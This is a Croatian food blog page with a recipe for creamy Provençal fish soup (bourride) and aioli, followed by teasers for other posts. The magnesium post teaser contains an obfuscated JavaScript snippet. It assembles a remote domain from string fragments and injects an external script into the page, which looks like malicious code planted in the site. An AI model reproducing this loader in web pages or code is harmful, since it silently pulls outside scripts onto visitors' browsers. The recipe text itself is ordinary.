KREMASTA RIBLJA JUHA




Kremasta riblja juha 




Francuska Provansa ima bouillabaisse, slavnu riblju juhu koja potječe iz Marseilla, ali i nešto manje poznati bourride itekako zaslužuje pažnju.





Kremasta riblja juha 



Sastojci:

Aioli

  • 2 češnja češnjaka, sitno nasjeckana
  • 2 velika žumanjka, sobne temperature
  • 2 žličice svježeg limunova soka
  • 2 žličice Dijon senfa
  • oko 350 ml ekstra djevičanskog maslinova ulja
  • sol, prema ukusu

Juha

  • 60 ml ekstra djevičanskog maslinova ulja
  • 1 manji žuti luk, narezan na kockice
  • 1 manja glavica komorača, narezana na kockice
  • 2 stabljike celera, narezane na kockice
  • 2 manja poriluka (samo bijeli dio), nasjeckana
  • 2 češnja češnjaka, sitno nasjeckana
  • 1 lovorov list
  • oko 350 ml suhog bijelog vina
  • oko 950 ml ribljeg temeljca ili temeljca od plodova mora
  • oko 475 ml vode
  • oko 225 g sitnijeg krumpira, prepolovljenog po dužini
  • oko 900 g fileta bijele ribe čvršćeg mesa, narezane na komade od oko 2,5 cm
  • sol, prema ukusu
  • svježe mljeveni crni papar, prema ukusu
  • 2 žlice nasjeckanog peršina, po želji
  • 2 žlice suhog sherryja, po želji
  • 6 kriški rustikalnog kruha, prepečenih




Priprema:


  1. Pripremite aioli. U srednje velikoj zdjeli pjenjačom izmiješajte češnjak, žumanjke, limunov sok i senf dok ne dobijete glatku smjesu. Neprestano miješajući, vrlo polako ulijevajte maslinovo ulje u tankom mlazu dok se smjesa ne poveže i postane gusta i kremasta. Posolite prema ukusu.
  2. U velikom loncu debljeg dna zagrijte maslinovo ulje na srednje jakoj vatri. Dodajte luk, komorač, celer, poriluk, češnjak i lovorov list. Pirjajte uz često miješanje 10 do 15 minuta, dok povrće ne omekša, ali ne dobije boju. Ulijte vino i kuhajte oko 15 minuta, odnosno dok se količina tekućine ne smanji približno napola.
  3. Ulijte temeljac i vodu te pustite da zavrije. Dodajte krumpir, smanjite vatru na srednju i lagano kuhajte oko 10 minuta, dok ne omekša. Procijedite juhu i sačuvajte tekućinu, a povrće odložite sa strane. Juhu vratite u lonac i dodajte ribu. Lagano kuhajte 2 do 3 minute, dok riba ne bude gotova. Ribu potom rasporedite u zdjele za posluživanje.
  4. U manjoj zdjeli pomiješajte oko 120 ml aiolija sa 60 ml vruće juhe kako biste ga postupno zagrijali i spriječili zgrušavanje žumanjaka. Smjesu zatim pjenjačom umiješajte u juhu. Vratite povrće u lonac i lagano zagrijte na slaboj vatri, bez ponovnog zakuhavanja. Posolite i popaprite prema ukusu pa juhu s povrćem prelijte preko ribe.
  5. Po želji pospite nasjeckanim peršinom i dodajte malo suhog sherryja. Poslužite vruće uz prepečeni kruh i preostali aioli.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više